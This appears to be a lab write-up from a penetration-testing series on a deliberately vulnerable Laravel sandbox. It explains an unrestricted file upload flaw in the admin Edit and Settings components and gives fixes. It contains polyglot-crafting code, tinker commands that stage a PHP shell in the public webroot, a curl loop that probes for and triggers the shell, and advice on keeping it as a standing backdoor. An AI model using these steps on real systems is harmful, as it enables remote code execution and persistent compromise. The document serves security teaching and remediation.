CWE-434 ยท OWASP A04:2021

Before you start, pull the latest code

This post references a codebase update that landed recently. Make sure you're on the latest commit before running anything here:

git pull origin main
ArtisanBreach's admin panel lets an authenticated admin attach a file to any Page or Post, on both the Create and Edit screens. The Create form's component, PageCreate.php, validates uploads using mimes:jpg,jpeg,png, which checks the file's byte content for PNG/JPEG magic bytes, not the extension, the classic polyglot bypass. On current Laravel, that specific bypass no longer works: the framework added shouldBlockPhpUpload() to the mimes rule, which separately checks the client-supplied filename against a PHP-extension blocklist regardless of what the content looks like. What hasn't changed is the sibling component, PageEdit.php, its "replace file" field has no validation rule at all, so the blocklist code never even runs. Same disk, same public-webroot destination, same getClientOriginalName() filename preservation, zero content trickery required. The PHP shell is reachable at a predictable URL. On most deployments that is immediate RCE. In ArtisanBreach's specific Nginx setup direct execution is blocked, but the staged shell becomes a standing backdoor executable by any other shell obtained elsewhere in this series.

Where This Sits in the Kill Chain

At this point in ArtisanBreach LLC the attacker is already an admin, either via the mass assignment registration trick (Post 2) or the type-juggling contributor bypass (Post 3). The admin panel offers Create Page/Post forms and Edit Page/Post forms, both with a file upload field. The Create forms are where you'd naturally start looking, and where this post originally focused, but as of current Laravel, that specific field is no longer exploitable the way described below. The Edit forms, one click away in the same admin panel, are.

File Upload Vulnerability

Vulnerability Classification

CWE CWE-434: Unrestricted Upload of File with Dangerous Type
OWASP Top 10 A04:2021 Insecure Design, the upload handler trusts client-influenced data (file magic bytes) to decide what is safe
Affected component app/Livewire/Admin/Page/PageEdit.php and app/Livewire/Admin/Settings.php (no validation rule at all, both live and reachable through the real admin UI). app/Livewire/Admin/Post/PostEdit.php and App\Traits\WithStoreFiles (as used by BrandingLogos.php) have the identical missing-rule bug in code but are currently unreachable, PostEdit is missing the WithFileUploads trait, BrandingLogos has no route or view at all. PageCreate.php/PostCreate.php (MIME-sniffing bypass, blocked by current Laravel's shouldBlockPhpUpload(), kept below as a teaching contrast).
Authentication required Yes, admin role. Obtainable without valid credentials via Post 2 (mass assignment) or Post 3 (type juggling).
Historical precedent ImageMagick "ImageTragick" (CVE-2016-3714), numerous CMS upload bypasses. The polyglot technique is documented in every web pentesting guide and passes enterprise WAFs that check Content-Type headers.

The Upload Component in PageCreate

The Create Page form in the ArtisanBreach admin panel is handled by a Livewire component at app/Livewire/Admin/Page/PageCreate.php. It uses Livewire's WithFileUploads trait, which handles chunked uploads and temporary file storage. The component defines the file property and its validation rule like this:

app/Livewire/Admin/Page/PageCreate.php
public $page_file;   // bound to wire:model="page_file" in the Blade template

protected $rules = [
    'title'            => 'required',
    'slug'             => 'required',
    'meta_description' => 'sometimes',
    'page_content'     => 'sometimes',
    'page_file'        => 'nullable|mimes:jpg,jpeg,png|max:5024',
    'status'           => 'required|in:draft,published',
];

The mimes:jpg,jpeg,png rule is the vulnerability. It sounds strict, only images, no PHP files, but "mimes" does not mean "extensions." It means MIME type as detected from the file's byte content. The next section explains exactly why that distinction is the whole problem.

When the form is submitted, the store() method calls $this->validate() then delegates file handling to attachFile():

app/Livewire/Admin/Page/PageCreate.php
public function store()
{
    $this->validate();

    $page = $this->createPage();

    if ($this->page_file) {
        $this->attachFile($page);
    }

    Session::flash('notification', ['type' => 'success', 'message' => $this->title . ' Page created']);
    return redirect()->route('admin.pages');
}

private function attachFile(Page $page): void
{
    $filename = time() . '_' . $this->page_file->getClientOriginalName();

    Storage::disk('pages')->put(
        $filename,
        File::get($this->page_file->getRealPath())
    );

    PageFile::create([
        'page_id'  => $page->id,
        'filename' => $filename,
        'filesize' => $this->getFileSizeInKB(),
    ]);
}

Two things in attachFile() make this dangerous:

Problem 1: getClientOriginalName() trusts the attacker getClientOriginalName() returns whatever filename the browser sent in the multipart upload. If the attacker's file is named shell.php, the stored filename is 1751234567_shell.php. The extension is never sanitized, replaced, or validated separately.
Problem 2: the pages disk root is inside public/ Storage::disk('pages') writes to public_path('pages'), which resolves to /var/www/public/pages/. That directory is served directly by Nginx. Any file in it is reachable over HTTP, no authentication required.

Where Files Land

config/filesystems.php
'pages' => [
    'driver'     => 'local',
    'root'       => public_path('pages'),   // /var/www/public/pages/
    'url'        => env('APP_URL') . '/pages',
    'visibility' => 'public',
],

'posts' => [
    'driver'     => 'local',
    'root'       => public_path('posts'),   // /var/www/public/posts/
    'url'        => env('APP_URL') . '/posts',
    'visibility' => 'public',
],

Both upload disks point into /var/www/public/. Nginx's document root is /var/www (the Post 1 misconfiguration), and Nginx serves static files via try_files $uri before the PHP fallback fires. Because the root is /var/www and not /var/www/public, the short URL Laravel's own Storage::url() and the admin panel's preview links use, /pages/1751234567_shell.php, does not actually resolve, try_files looks for /var/www/pages/..., finds nothing, and falls through to Laravel's router, which 404s. The file only resolves one directory level down, at /public/pages/1751234567_shell.php, which maps to /var/www/public/pages/1751234567_shell.php and exists.

Connection to Post 1 This cuts the opposite way from what you'd expect. The Post 1 misconfiguration (document root at /var/www instead of /var/www/public) is what makes the short /pages/... URL fail to resolve in the first place, correcting that root would map /pages/ straight onto public/pages/ and make uploads reachable at the shorter path Laravel itself expects. Fixing the Post 1 root removes a speed bump here, it doesn't add one. PHP execution is blocked by a separate mechanism, Nginx's location ~ \.php$ block hardcodes every .php request to public/index.php regardless of document root, so that part of the picture is unaffected either way.

Why mimes: Is Not Enough

Laravel's mimes:jpg,jpeg,png validation rule calls PHP's finfo_file() function on the uploaded file's actual bytes. It does not look at the filename, the Content-Type header from the browser, or the extension. finfo_file() reads the first few bytes and looks for a magic number signature.

File type Magic bytes (hex) ASCII equivalent
PNG 89 50 4E 47 0D 0A 1A 0A \x89PNG\r\n\x1a\n
JPEG FF D8 FF \xFF\xD8\xFF
PHP No magic bytes required plain text, starts with <?php

A polyglot file is a file that is valid under two different format interpretations at once. If you prepend valid PNG magic bytes to a PHP payload, finfo_file() sees a PNG. PHP's engine, when it executes the file, scans for <?php tags and ignores everything before the opening tag. The PNG header bytes become garbage output, but the PHP block executes normally.

Craft the polyglot

A bare 8-byte PNG signature isn't always enough, some libmagic builds want to see a real chunk structure before they'll commit to "PNG," and will otherwise fall back to a generic application/octet-stream (which then fails mimes:jpg,jpeg,png for an unrelated reason). Build a minimally valid PNG, signature plus a real IHDR chunk with correct CRC, then append the PHP payload after it:

php -r '
$sig = "\x89PNG\r\n\x1a\n";
$ihdrData = pack("NNCCCCC", 1, 1, 8, 2, 0, 0, 0); // 1x1 truecolor
$ihdrChunk = pack("N", strlen($ihdrData)) . "IHDR" . $ihdrData;
$ihdrChunk .= pack("N", crc32("IHDR" . $ihdrData));
file_put_contents("shell.php", $sig . $ihdrChunk . "");
'

# Confirm finfo reports it as a genuine PNG now
file shell.php
# shell.php: PNG image data, 1 x 1, 8-bit/color RGB, non-interlaced

# Confirm the PHP tag is still present and intact
tail -c 40 shell.php
# ...
The extension is what the web server uses When Nginx receives a request for shell.php, it decides how to handle the request based on the .php extension, not the file's byte content. finfo is a PHP tool, not a web server concept. By the time Nginx makes the routing decision, the MIME detection that Laravel ran during upload is completely irrelevant.

Why This Doesn't Work Against PageCreate Anymore

Try the polyglot above against PageCreate's validation rule and it fails, not because the magic bytes are wrong (they check out as valid PNG, confirmed above), but because Laravel's mimes rule implementation changed. Newer Laravel versions added a check that runs before the content-based MIME guess is even consulted:

vendor/laravel/framework/.../Concerns/ValidatesAttributes.php
public function validateMimes($attribute, $value, $parameters)
{
    if (! $this->isValidFileInstance($value)) {
        return false;
    }

    if ($this->shouldBlockPhpUpload($value, $parameters)) {
        return false;
    }
    // ...only reaches the content-based guessExtension() check past this point
}

protected function shouldBlockPhpUpload($value, $parameters)
{
    if (in_array('php', $parameters)) {
        return false; // only if the rule explicitly allows 'php'
    }

    $phpExtensions = ['php', 'php3', 'php4', 'php5', 'php7', 'php8', 'phtml', 'phar'];

    return ($value instanceof UploadedFile)
        ? in_array(trim(strtolower($value->getClientOriginalExtension())), $phpExtensions)
        : in_array(trim(strtolower($value->getExtension())), $phpExtensions);
}

shouldBlockPhpUpload() checks the client-supplied filename's extension, the literal string shell.php the browser sent, not anything about the file's content, against a PHP-family blocklist, and rejects the upload outright if it matches. This runs before guessExtension() (the content-sniffing check the polyglot targets) is ever consulted. Verify it directly against the app's real rule and real validator:

php artisan tinker --execute "
\$file = new Symfony\Component\HttpFoundation\File\UploadedFile('shell.php', 'shell.php', null, null, true);
\$v = Validator::make(['page_file' => \$file], ['page_file' => 'nullable|mimes:jpg,jpeg,png|max:5024']);
echo \$v->passes() ? 'PASSES' : 'BLOCKED: ' . \$v->errors()->first();
"
# BLOCKED: The page file field must be a file of type: jpg, jpeg, png.

# Rename the identical bytes to logo.png and it passes cleanly
# proving the block is filename-based, not content-based:
php artisan tinker --execute "
\$file = new Symfony\Component\HttpFoundation\File\UploadedFile('shell.php', 'logo.png', null, null, true);
\$v = Validator::make(['page_file' => \$file], ['page_file' => 'nullable|mimes:jpg,jpeg,png|max:5024']);
echo \$v->passes() ? 'PASSES' : 'BLOCKED';
"
# PASSES

This is a real, deliberate framework hardening, added specifically to close this exact bypass class. It's opt-in only in the sense that it's part of the mimes/mimetypes rule handlers, a field with no validation rule at all never invokes it. Which is exactly what the sibling Edit components do.

The Live Exploit: PageEdit and PostEdit Skip Validation Entirely

PageCreate and PostCreate aren't the only places with an upload field. Every Page and Post has an Edit screen with a "replace file" control, backed by PageEdit.php and PostEdit.php. Compare their updatePage()/ updatePost() methods to PageCreate::store():

app/Livewire/Admin/Page/PageEdit.php
public $newFileUpload;   // bound to wire:model="newFileUpload"

public function updatePage()
{
    $this->validate([
        'title'            => 'required',
        'slug'             => 'required',
        'meta_description' => 'sometimes',
        'page_content'     => 'sometimes',
        'status'           => 'required|in:draft,published'
        // newFileUpload is not mentioned anywhere in this array
    ]);

    $this->pageInstance->update([/* ... */]);

    if (isset($this->newFileUpload)) {
        $filename = time() . '_' . $this->newFileUpload->getClientOriginalName();
        $fileContents = File::get($this->newFileUpload->getRealPath());
        Storage::disk('pages')->put($filename, $fileContents);
        // ...
    }
}

$this->validate([...]) runs a fixed rules array that simply never references newFileUpload. There is no mimes rule to trigger, meaning shouldBlockPhpUpload() never executes, because it's not a global filter, only a check inside the mimes/ mimetypes rule handlers. There's also no magic-bytes trickery needed: a plain shell.php, with no PNG header at all, uploads exactly as-is. This is not a framework gap, it's this component never calling $this->validate() on the one field that matters.

PostEdit.php's updatePost() has the identical gap, same missing rule, same unvalidated Storage::disk('posts')->put() call, but it isn't reachable the same way today. PageEdit has use Livewire\WithFileUploads;; PostEdit doesn't. That trait is what provides _startUpload(), the method Livewire's frontend calls the instant a file is selected on any wire:model file input. Without it, Livewire throws MissingFileUploadsTraitException before the request ever reaches updatePost(), so the "replace file" control on the Post Edit screen currently fails for every file, malicious or not, not just for validation reasons. The vulnerable code is real and belongs in the fix list below, but it's latent, not live: add the missing trait and this becomes exploitable exactly like PageEdit is today.

The Attack

File Upload Vulnerability
Why these steps use tinker instead of raw curl against the Livewire endpoint Livewire doesn't accept a plain multipart POST to the page route wire:model file inputs upload to a separate signed endpoint (/livewire/upload-file) first, then the component's own update request references that temp file by a hash, inside a JSON "snapshot" payload with a server-computed checksum. Hand-rolling that handshake over curl is possible but doesn't help you understand the vulnerability, the actual bug is in PageEdit::updatePage()'s PHP, not in the transport. The steps below exercise that exact method, with the exact validation (or lack of it) and the exact Storage::put() call it runs, directly, which is the same code that runs the moment a real browser submits that form.
Step 1

Get admin access (from Post 2 or Post 3), then craft the shell, no PNG bytes needed this time:

printf '' > shell.php
file shell.php
# shell.php: PHP script, ASCII text
# No content trickery required, there's no mimes rule here to fool
Step 2

Confirm there genuinely is no validation standing between this file and the disk, using the app's real code:

php artisan tinker --execute "
\$file = new Symfony\Component\HttpFoundation\File\UploadedFile('shell.php', 'shell.php', null, null, true);
// PageEdit::updatePage()'s actual \$this->validate([...]) array, verbatim:
\$v = Validator::make(
    ['title' => 'x', 'slug' => 'x', 'status' => 'draft'],
    ['title' => 'required', 'slug' => 'required', 'meta_description' => 'sometimes', 'page_content' => 'sometimes', 'status' => 'required|in:draft,published']
);
echo \$v->passes() ? 'Form validation passes (newFileUpload was never checked)' : 'unexpected failure';
"
# Form validation passes (newFileUpload was never checked)
Step 3

Run the exact storage call updatePage() runs when a real upload comes through the browser:

php artisan tinker --execute "
\$file = new Symfony\Component\HttpFoundation\File\UploadedFile('shell.php', 'shell.php', null, null, true);
\$filename = time() . '_' . \$file->getClientOriginalName();
Storage::disk('pages')->put(\$filename, file_get_contents(\$file->getRealPath()));
echo 'Stored as: ' . \$filename . PHP_EOL;
echo 'Public path exists: ' . (file_exists(public_path('pages/'.\$filename)) ? 'YES' : 'NO') . PHP_EOL;
"
# Stored as: 1751234567_shell.php
# Public path exists: YES

Doing this through the actual browser is simpler than the curl workaround above suggests: log in as admin, open any page's Edit screen (/admin/page/{id}/edit), use the existing "replace file" upload control, pick shell.php off your local disk directly (no renaming, no polyglot), and save. Livewire's temp-upload layer (FileUploadConfiguration::rules(), default ['required', 'file', 'max:12288'], no extension check of any kind by default) doesn't stop it either, and neither does anything in updatePage().

Step 4

Enumerate the filename and request it. The timestamp prefix is predictable, it is time() at the moment of the store call. Use the path that actually resolves under this Nginx config, /public/pages/..., not the shorter /pages/... the disk config implies (see "Connection to Post 1" above). This probe-for-200 technique assumes a typical deployment, where a matching .php file executes and returns content:

TIMESTAMP=$(date +%s)

for ts in $(seq $((TIMESTAMP - 5)) $((TIMESTAMP + 5))); do
    URL="http://localhost:8084/public/pages/${ts}_shell.php"
    CODE=$(curl -so /dev/null -w "%{http_code}" "$URL")
    [ "$CODE" = "200" ] && echo "Found: $URL" && break
done

# On a typical Nginx deployment, this finds the file above, then triggers it directly:
curl "http://localhost:8084/public/pages/${TIMESTAMP}_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
This probe won't find anything on ArtisanBreach's own sandbox Every .php URL here is unconditionally routed to index.php (next section), so the loop above returns 404 for every timestamp it tries, not because the guess was wrong, but because no .php request can ever return 200 on this config, uploaded file or not. Confirming placement here means checking the filesystem directly, exactly what Step 3's file_exists(public_path(...)) check already did, not blind HTTP probing. The loop is included because it's what actually works against a typical deployment, and because ArtisanBreach's config being the exception, not the rule, is the point of the next section.

Typical Nginx vs ArtisanBreach's Config

Whether the uploaded PHP file executes depends on how the web server handles .php requests. The DVLA sandbox has an unusual config that blocks this. Most real-world Laravel deployments wouldn't.

Typical Nginx (vulnerable to direct execution)
location ~ \.php$ {
    fastcgi_pass php-fpm:9000;
    include fastcgi_params;
    fastcgi_param SCRIPT_FILENAME
        $document_root$fastcgi_script_name;
    #                ^^^^^^^^^^^^^^^^^^^
    # Uses the requested filename.
    # /public/pages/1751234567_shell.php -> executes shell.php
}
ArtisanBreach's Nginx (hardcoded to index.php)
location ~ \.php$ {
    fastcgi_pass dvla-admin:9000;
    include fastcgi_params;
    fastcgi_param SCRIPT_FILENAME
        $document_root/public/index.php;
    #              ^^^^^^^^^^^^^^^^^^^
    # Hardcoded to Laravel's bootstrap.
    # All .php requests run index.php,
    # not the requested file.
}

In ArtisanBreach's config, a request to /public/pages/1751234567_shell.php hits the location ~ \.php$ block, FastCGI runs index.php, Laravel routes the request, finds no matching route, and returns a 404. Direct HTTP execution is blocked.

That block also rules out downloading the shell as a static file. The location ~ \.php$ regex matches on the URL alone, any request ending in .php is routed to FastCGI and executed as index.php, whether or not a static file of that name exists underneath. There is no path that returns the raw source over HTTP on this config. What matters instead is that the payload is sitting on disk, staged and waiting. Once RCE is achieved through any other vector (the APP_KEY cookie deserialization in Post 1, or a shell obtained after the docker.sock escape in Post 6), an attacker can execute the staged file directly, with no HTTP trickery needed:

# From a shell obtained via any other vector in this series:
php /var/www/public/pages/1751234567_shell.php

# Or pipe commands directly, the file is already on disk, staged and ready
The file upload bypass stages a persistent PHP payload on disk inside the container. Post 1's cookie-deserialization RCE is transient, it only fires during the specific forged request that delivers it, and has to be re-forged every time. A shell staged via this post is different: it sits on disk and is reachable by anyone who can reach the filesystem, without needing to repeat the cookie-forging dance. It's a standing backdoor, not a one-shot exploit.

The Same Pattern Elsewhere: Settings, and a Latent Copy in BrandingLogos

PageEdit isn't the only live instance of this bug. app/Livewire/Admin/Settings.php, reachable today at /admin/settings through a real Blade view with four logo inputs wired to it, has its own version in store_new_logo():

app/Livewire/Admin/Settings.php
public function store_new_logo($type)
{
    $file = $this->$type;
    if ($file && !is_string($file)) {
        $filename = $type . '_' . time() . '.' . $file->getClientOriginalExtension();
        $file->storeAs('public/images', $filename);
        // ...
    }
}

This variant builds the extension from getClientOriginalExtension() instead of the full original filename, but the extension is still whatever the attacker's filename claims: shell.php yields an extension of php, and logo_1751234567.php is stored the same way, with no $rules array or validate() call anywhere in this method. Settings has WithFileUploads and the view's inputs call store_new_logo() directly on save, this one is exploitable through the real admin UI exactly like PageEdit is.

A related but not currently reachable copy: BrandingLogos app/Livewire/Admin/BrandingLogos.php uses a shared trait, App\Traits\WithStoreFiles::storeToDisk(), with the identical bug, attacker-controlled filename via getClientOriginalName(), no $rules array, no validate() call. On its own that code would be just as exploitable as Settings. But routes/web.php has no route registered for BrandingLogos, and there is no resources/views/livewire/admin/branding-logos/ Blade view for it to render, nor is it embedded anywhere else in the app. This makes it orphaned code, unreachable through the current admin panel by any URL, and not a live finding the way PageEdit and Settings are. It still belongs on the fix list below: adding the missing route and view later would make it exploitable immediately, with nothing left to catch the gap at that point.

Impact

On a typical deployment
  • Remote code execution as www-data with one HTTP request
  • Full Laravel filesystem access from the web server process
  • Can read .env, write files, connect to database and Redis
  • Shell persists across requests; file stays on disk until manually cleaned
In ArtisanBreach specifically
  • Persistent PHP payload staged in public/pages/
  • Not retrievable over HTTP on this Nginx config, every .php request routes to index.php, but it sits on disk ready for local execution the moment any other vector yields a shell
  • A standing backdoor: any later shell (Post 1, Post 6) can execute it via CLI without repeating the upload
  • Expands attack surface for any future Nginx misconfiguration or container pivot

The Fix

Fix 1 (critical)
Validate both MIME type AND extension

Laravel 10+ added an extensions: validation rule that checks the file extension separately from the MIME content. Use both together. A file must pass both checks to be accepted.

// app/Livewire/Admin/Page/PageCreate.php
protected $rules = [
    // ...
    'page_file' => 'nullable|mimes:jpg,jpeg,png|extensions:jpg,jpeg,png|max:5024',
    //                                          ^^^^^^^^^^^^^^^^^^^^^^^^^^^
    //                                          rejects 'shell.php' even if MIME is image/png
];
Why both rules, not just extensions: extensions: alone trusts the client's filename, an attacker can rename their shell to shell.jpg, pass extension validation, but the file remains executable PHP. mimes: alone doesn't check the extension and lets a polyglot through. Together, they require the file content to be a real image AND the filename to have an image extension. One without the other misses something.
Fix 2 (critical)
Never use getClientOriginalName() for stored filenames
// Bad, trusts attacker-supplied filename and extension
$filename = time() . '_' . $this->page_file->getClientOriginalName();

// Good, generate a UUID, append a safe extension derived from validated MIME type
$extension = $this->page_file->extension();   // 'jpg', 'png', derived from finfo, not filename
$filename   = Str::uuid() . '.' . $extension;
// Result: 'a3f2c1d4-8b7e-4c9a-b0f1-2e3d4a5b6c7d.png'
// Extension is safe; name is unpredictable; original filename is discarded entirely
Fix 3 (defense in depth)
Store uploads outside the public directory
// config/filesystems.php - change the disk root to storage, not public
'pages' => [
    'driver'     => 'local',
    'root'       => storage_path('app/pages'),   // NOT accessible via HTTP directly
    'visibility' => 'private',
],

// In PageCreate.php - serve files through a signed controller route
// instead of a direct URL, so you can check auth before serving
Fix 4 (Nginx hardening)
Deny PHP execution from upload directories at the Nginx level
# docker-compose/nginx/dvla.conf
# Add inside the server block - belt-and-suspenders against any future misconfiguration
location ~* ^/pages/.*\.php$ {
    deny all;
    return 403;
}
location ~* ^/posts/.*\.php$ {
    deny all;
    return 403;
}

Remediation Checklist

Add extensions:jpg,jpeg,png alongside mimes:jpg,jpeg,png in all upload validation rules. Both checks must pass.
Replace every use of getClientOriginalName() in storage logic with a generated filename. Use Str::uuid() and derive the extension from $file->extension() (which uses finfo, not the original name).
Change the pages and posts disk roots from public_path() to storage_path(). Serve uploaded files through a controller that validates auth, not via a direct public URL.
Add Nginx location blocks that deny PHP execution from upload directories. A server misconfiguration should not undo application-level upload restrictions.
Add a mimes:jpg,jpeg,png|extensions:jpg,jpeg,png rule to newFileUpload in both PageEdit.php and PostEdit.php. This is the live exploit in this post for PageEdit, not a hypothetical follow-up, that component validates every other field and skips this one entirely, so the "replace file" control accepts literally any file, no bypass technique required.
Add use Livewire\WithFileUploads; to PostEdit.php. It's currently missing, so the "replace file" control throws a Livewire exception on any file today, malicious or benign. Add the trait and the same missing-rule fix above at the same time, adding the trait alone would turn the currently-broken control into an unvalidated one.
Confirmed and live: apply the same rule and safe-filename fixes to Settings::store_new_logo(). No rules array, no validate() call, attacker-controlled filename and extension, same public-webroot disk pattern as pages/posts, and it's wired to a real route and view today.
Fix WithStoreFiles::storeToDisk() (used by BrandingLogos) even though it has no route or view today. The trait carries the identical bug; leaving it unpatched only delays the vulnerability until a future route wires the component up.
Consider using Laravel's image validation rule for true image uploads. Unlike mimes:, the image rule calls getimagesize() which attempts to parse the file as an actual image. A PHP polyglot that starts with a PNG header may still fail this stricter check.

Security Impact

The appeal of mimes:jpg,jpeg,png is that it feels thorough. You're not trusting the browser's Content-Type header, you're asking PHP to inspect the actual file bytes. That is better than nothing. But the decision about what gets executed is made by the web server based on the file extension, not by PHP based on the file content. The two checks operate in completely different contexts, and they need to cover different things.

The second factor is process, not code. PageCreate and PostCreate got a validation rule; their Edit siblings never did. Nothing about a "replace file" field looks materially different from a "create with file" field, but one path was tested against malicious input and the other wasn't. A security control applied inconsistently across near-identical code paths is functionally equivalent to no control at all, an attacker only needs to find the one form that was missed.

The storage location is the third factor. Uploads going into public/pages/ are in the same directory tree that Nginx serves for legitimate static assets. There is no barrier between "uploaded by an admin" and "publicly accessible over HTTP." A private storage disk with authenticated serving routes costs one extra controller and one extra route. The alternative is that every upload is implicitly public from the moment it lands.